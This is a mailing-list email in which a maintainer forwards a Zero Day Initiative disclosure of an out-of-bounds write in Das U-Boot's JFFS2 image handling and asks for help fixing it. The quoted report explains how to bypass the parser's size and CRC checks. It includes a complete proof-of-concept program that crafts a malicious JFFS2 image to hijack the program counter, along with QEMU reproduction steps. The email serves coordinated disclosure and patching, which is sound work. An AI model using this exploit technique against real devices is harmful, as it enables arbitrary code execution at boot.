On Thu, Nov 14, 2024 at 04:02:29AM +0000, [email protected] wrote:

> Hi,
> Do you have any updates to share regarding this vulnerability report?

Michal, microblaze-generic is the most active platform that enables
FS_JFFS2 by default and so vulnerable here. Can you find some resources
to look in to fixing this please? Thanks.

> 
> Thanks,
> ZDI
> 
> -----Original Message-----
> From: ZDI Disclosures Mailbox
> Sent: Thursday, July 18, 2024 4:05 PM
> To: '[email protected]' <[email protected]>; '[email protected]' 
> <[email protected]>
> Subject: ZDI-CAN-24679: New Vulnerability Report
> 
> ZDI-CAN-24679: Das U-Boot JFFS2 Image Handling Out-Of-Bounds Write Local 
> Privilege Escalation Vulnerability
> 
> -- CVSS -----------------------------------------
> 
> 8.2: AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
> 
> -- ABSTRACT -------------------------------------
> 
> Trend Micro's Zero Day Initiative has identified a vulnerability affecting 
> the following products:
> Das U-Boot - Das U-Boot
> 
> -- VULNERABILITY DETAILS ------------------------
> * Version tested: 2024.07-rc4
> * Installer file: N/A
> * Platform tested: QEMU
> 
> ---
> 
> ### Analysis
> 
> Das U-Boot versions from 2002_11_05_0120 to v2024.07-rc4 are vulnerable to an 
> arbitrary code execution attack. This vulnerability exists due to an 
> unchecked memcpy function used when processing a JFFS2 filesystem image. An 
> attacker could exploit this by crafting a malicious JFFS2 image that tricks 
> memcpy into overwriting memory at an arbitrary offset with malicious code. 
> This could result in the attacker executing arbitrary code on the system or 
> causing other memory corruption issues.
> 
> The parsing of JFFS2 filesystem in Das U-Boot is handled by the 
> `jffs2_1pass_read_inode()` function defined in `fs/jffs2/jffs2_1pass.c`. ( 
> https://github.com/qemu/u-boot/blob/master/fs/jffs2/jffs2_1pass.c )
> 
> At line 777 of this file, there is a statement for memory copy:
> 
> ```
> ldr_memcpy(lDest, src, jNode->dsize);
> ```
> 
> The first two arguments for memcpy are assigned as:
> 
> At line 770: `lDest = (uchar *) (dest + jNode->offset);` At line 755 and 756: 
> `src = ((uchar *)jNode) + sizeof(struct jffs2_raw_inode);`
> 
> As shown above, the source, destination, and size of the memcpy are 
> controlled by an attacker and its following content, and Das U-boot does not 
> properly check these arguments.
> 
> Although Das U-Boot does have some checks on the content of inodes, these 
> checks can be easily bypassed:
> 
> At line 758, it checks if `JNode->offset > totalSize`, but totalSize is 
> assigned as totalSize = jNode->isize at line 714. Therefore, this check can 
> be bypassed by setting `JNode->isize` to 0xFFFFFFFF.
> 
> At lines 763, it also checks the CRC, but this check can be bypassed by 
> setting both `JNode->csize` and `JNode->data_crc` to 0.
> 
> ### Proof of Concept
> 
> To prove the concept, we created a small program that generates a specially 
> crafted JFFS2 filesystem image. We then used QEMU to demonstrate the 
> potential risk of this vulnerability. The Das U-Boot, when reading the 
> specially crafted filesystem image, writes content given by us to a memory 
> location specified by us, causing the system to crash. We have tested this in 
> Ubuntu 14.04. Follow the following instructions to set up the environment and 
> conduct the PoC test.
> 
> - Install QEMU for MINI2440:
> 
> ```
> sudo apt-get install git git-core
> cd ~
> mkdir mini2440_qemu/
> cd mini2440_qemu
> git clone git://repo.or.cz/qemu/mini2440.git qemu cd qemu ./configure 
> --target-list=arm-softmmu --prefix=$HOME/workspace/mini2440_qemu/qemu/mini2440
> make
> make install
> export PATH=$HOME/workspace/mini2440_qemu/qemu/mini2440/bin:$PATH
> git clone https://github.com/WeitaoZhu/mini2440-buildroot.git
> cd mini2440-buildroot
> make mini2440_defconfig
> make menuconfig
> ```
> 
> - Modify Filesystem images to NAND flash with 512B Page and 16 kB erasesize
> 
> ```
> make -j4
> cd ~
> git clone https://github.com/cailiwei/flashimg
> cd flashimg
> ./autogen.sh
> ./configure
> make
> cp ~/workspace/mini2440_qemu/mini2440-buildroot/output/images/u-boot.bin 
> ~/flashimg
> g++ poc.cpp -o poc
> ./poc
> echo -e "root\t0x4000\t0x00000000">part.txt
> ./flashimg -s 64M -t nand -f nand.bin -p part.txt -w root,test -z 512 
> qemu-system-arm -M mini2440 -serial stdio -mtdblock nand.bin -usbdevice mouse 
> ```
> 
> - In QEMU, type the following commands:
> 
> ```
> fsload
> ls
> go 0x32700000
> ```
> 
> - The output should look like the following
> 
> ```
> MINI2440 # fsload
> ### JFFS2 loading 'uImage' to 0x32000000 Scanning JFFS2 FS: . done.
> load: Failed to read inode
> ### JFFS2 LOAD ERROR<0> for uImage!
> MINI2440 # go 0x32700000
> ## Starting application at 0x32700000 ...
> qemu: fatal: Trying to execute code outside RAM or ROM at 0x12345678
> 
> R00=00000001 R01=33d5fb70 R02=00000041 R03=00000006
> R04=33d5fb70 R05=00000002 R06=32700000 R07=00000000 R08=33d5ffdc R09=00000001 
> R10=00000000 R11=33d5fbfd
> R12=00000020 R13=33d5fb4c R14=33f8c4e8 R15=12345678
> PSR=600001d3 -ZC- A svc32
> Aborted (core dumped)
> ```
> 
> Note: R15 is $pc and it has been modified to 0x12345678
> 
> poc.cpp:
> 
> ```c
> #include <stdio.h>
> #include <stdlib.h>
> #include <cstdint>
> #include <cstring>
> #include <string.h>
> #include <ctype.h>
> #include <sys/stat.h>
> using namespace std;
> #define JFFS2_MAGIC_BITMASK  0x1985
> #define JFFS2_NODE_ACCURATE  0x2000
> #define JFFS2_FEATURE_INCOMPAT  0xC000
> #define JFFS2_FEATURE_RWCOMPAT_DELETE  0x0000 #define JFFS2_NODETYPE_DIRENT  
> (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE | 1) #define 
> JFFS2_NODETYPE_INODE  (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE | 2) 
> #define JFFS2_NODETYPE_CLEANMARKER  (JFFS2_FEATURE_RWCOMPAT_DELETE | 
> JFFS2_NODE_ACCURATE | 3) enum
>   {
>     DT_UNKNOWN = 0,
> # define DT_UNKNOWN     DT_UNKNOWN
>     DT_FIFO = 1,
> # define DT_FIFO        DT_FIFO
>     DT_CHR = 2,
> # define DT_CHR         DT_CHR
>     DT_DIR = 4,
> # define DT_DIR         DT_DIR
>     DT_BLK = 6,
> # define DT_BLK         DT_BLK
>     DT_REG = 8,
> # define DT_REG         DT_REG
>     DT_LNK = 10,
> # define DT_LNK         DT_LNK
>     DT_SOCK = 12,
> # define DT_SOCK        DT_SOCK
>     DT_WHT = 14
> # define DT_WHT         DT_WHT
>   };
> uint32_t crc32(unsigned char* ptr,uint32_t Size) {
> 
>   uint32_t crcTable[256],crcTmp1;
>   for (int i=0; i<256; i++)
>    {
>     crcTmp1 = i;
>     for (int j=8; j>0; j--)
>      {
>       if (crcTmp1&1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
>        else crcTmp1 >>= 1;
>     }
> 
>      crcTable[i] = crcTmp1;
>    }
>   int32_t crcTmp2= 0;
>   while(Size--)
>   {
>     crcTmp2 = ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & 0xFF 
> ];
>     ptr++;
>   }
>   return (crcTmp2^0xFFFFFFFF)^0xFFFFFFFF; } struct Jffs2_unknown_node {
>             int16_t magic;
>             int16_t nodetype;
>             int32_t totlen;
>             int32_t hdr_crc;
> };
> struct Jffs2_raw_dirent
> {
>             int16_t magic;
>             int16_t nodetype;
>             int32_t totlen;
>             int32_t hdr_crc;
>             int32_t pino;
>             int32_t version;
>             int32_t ino;
>             int32_t mctime;
>             int8_t nsize;
>             int8_t type;
>             int8_t unused[2];
>             int32_t node_crc;
>             int32_t name_crc;
> };
> struct Jffs2_raw_inode
> {
>             int16_t magic;
>             int16_t nodetype;
>             int32_t totlen;
>             int32_t hdr_crc;
>             int32_t ino;
>             int32_t version;
>             int32_t mode;
>             int16_t uid;
>             int16_t gid;
>             int32_t isize;
>             int32_t atime;
>             int32_t mtime;
>             int32_t ctime;
>             int32_t offset;
>             int32_t csize;
>             int32_t dsize;
>             int8_t compr;
>             int8_t usercompr;
>             int16_t flags;
>             int32_t data_crc;
>             int32_t node_crc;
> };
> int main(void)
> {
>         //PAYLOAD CONFIG
>         char TARGET_FILENAME []= "uImage";
>         uint32_t TARGET_OFFSET = 0x700000;
>         uint32_t TARGET_LENGTH = 0x8;
>         unsigned char PAYLOAD[]= "\x04\xf0\x1f\xe5\x78\x56\x34\x12"; //ldr 
> $pc,0x12345678
>         //
>         FILE *fp = fopen("poc.jffs2","wb");
>         uint16_t padding = 0xFFFF;
>         Jffs2_unknown_node node;
>         node.magic = JFFS2_MAGIC_BITMASK;
>         node.nodetype = JFFS2_NODETYPE_CLEANMARKER;
>         node.totlen = sizeof(node);
>         node.hdr_crc = crc32((unsigned 
> char*)&node,sizeof(Jffs2_unknown_node)-4);
>         fwrite(&node,1,sizeof(node),fp);
>         Jffs2_raw_dirent dirent;
>         dirent.magic = JFFS2_MAGIC_BITMASK;
>         dirent.nodetype = JFFS2_NODETYPE_DIRENT;
>         dirent.totlen = sizeof(dirent)+strlen(TARGET_FILENAME);
>         dirent.hdr_crc = crc32((unsigned 
> char*)&dirent,sizeof(Jffs2_unknown_node)-4);
>         dirent.pino = 1;
>         dirent.version = 0;
>         dirent.ino = 2;
>         dirent.mctime = 0;
>         dirent.nsize = strlen(TARGET_FILENAME);
>         dirent.type = DT_REG;
>         dirent.unused[0] = 0;
>         dirent.unused[1] = 0;
>         dirent.mctime = 0;
>         dirent.node_crc = crc32((unsigned 
> char*)&dirent,sizeof(Jffs2_raw_dirent)-8);
>         dirent.name_crc = crc32((unsigned 
> char*)TARGET_FILENAME,strlen(TARGET_FILENAME));
>         fwrite(&dirent,1,sizeof(dirent),fp);
>         fwrite(TARGET_FILENAME,1,strlen(TARGET_FILENAME),fp);
>         fwrite(&padding,1,sizeof(padding),fp);
>         Jffs2_raw_inode inode;
>         inode.magic = JFFS2_MAGIC_BITMASK;
>         inode.nodetype = JFFS2_NODETYPE_INODE;
>         inode.totlen = sizeof(inode)+sizeof(PAYLOAD)-1;
>         inode.hdr_crc = crc32((unsigned 
> char*)&inode,sizeof(Jffs2_unknown_node)-4);
>         inode.ino = 2;
>         inode.version = 1;
>         inode.mode = 0x81A4;
>         inode.uid = 0;
>         inode.gid = 0;
>         inode.isize = 0xFFFFFFFF; //bypass size limit
>         inode.atime = 0;
>         inode.mtime = 0;
>         inode.ctime = 0;
>         inode.offset = TARGET_OFFSET;
>         inode.csize = 0; //bypass crc32 check
>         inode.dsize = TARGET_LENGTH;
>         inode.compr = 0;
>         inode.usercompr = 0;
>         inode.flags = 0;
>         inode.data_crc = 0; //bypass crc32 check
>         inode.node_crc = crc32((unsigned 
> char*)&inode,sizeof(Jffs2_raw_inode)-8);
>         fwrite(&inode,1,sizeof(inode),fp);
>         fwrite(&PAYLOAD,1,sizeof(PAYLOAD)-1,fp);
>         fwrite(&padding,1,sizeof(padding),fp);
>         fclose(fp);
>         return 0;
> }
> ```
> 
> 
> -- CREDIT ---------------------------------------
> This vulnerability was discovered by:
> Aaron Luo and Spencer Hsieh of VicOne
> 
> -- FURTHER DETAILS ------------------------------
> 
> Supporting files:
> 
> 
> If supporting files were contained with this report they are provided within 
> a password protected ZIP file. The password is the ZDI candidate number in 
> the form: ZDI-CAN-XXXX where XXXX is the ID number.
> 
> Please confirm receipt of this report. We expect all vendors to remediate ZDI 
> vulnerabilities within 120 days of the reported date. If you are ready to 
> release a patch at any point leading up to the deadline, please coordinate 
> with us so that we may release our advisory detailing the issue. If the 
> 120-day deadline is reached and no patch has been made available we will 
> release a limited public advisory with our own mitigations, so that the 
> public can protect themselves in the absence of a patch. Please keep us 
> updated regarding the status of this issue and feel free to contact us at any 
> time:
> 
> Zero Day Initiative
> [email protected]
> 
> The PGP key used for all ZDI vendor communications is available from:
> 
>   http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc
> 
> -- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint 
> and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells 
> vulnerability details nor exploit code. Instead, upon notifying the affected 
> product vendor, the ZDI provides its Trend Micro TippingPoint customers with 
> zero day protection through its intrusion prevention technology. Explicit 
> details regarding the specifics of the vulnerability are not exposed to any 
> parties until an official vendor patch is publicly available.
> 
> Please contact us for further details or refer to:
> 
>   http://www.zerodayinitiative.com
> 
> -- DISCLOSURE POLICY ----------------------------
> 
> Our vulnerability disclosure policy is available online at:
> 
>   http://www.zerodayinitiative.com/advisories/disclosure_policy/
> 
> TREND MICRO EMAIL NOTICE
> 
> The information contained in this email and any attachments is confidential 
> and may be subject to copyright or other intellectual property protection. If 
> you are not the intended recipient, you are not authorized to use or disclose 
> this information, and we request that you notify us by reply mail or 
> telephone and delete the original message from your mail system.
> 
> For details about what personal information we collect and why, please see 
> our Privacy Notice on our website at: Read privacy 
> policy<http://www.trendmicro.com/privacy>

-- 
Tom

Attachment: signature.asc
Description: PGP signature

Reply via email to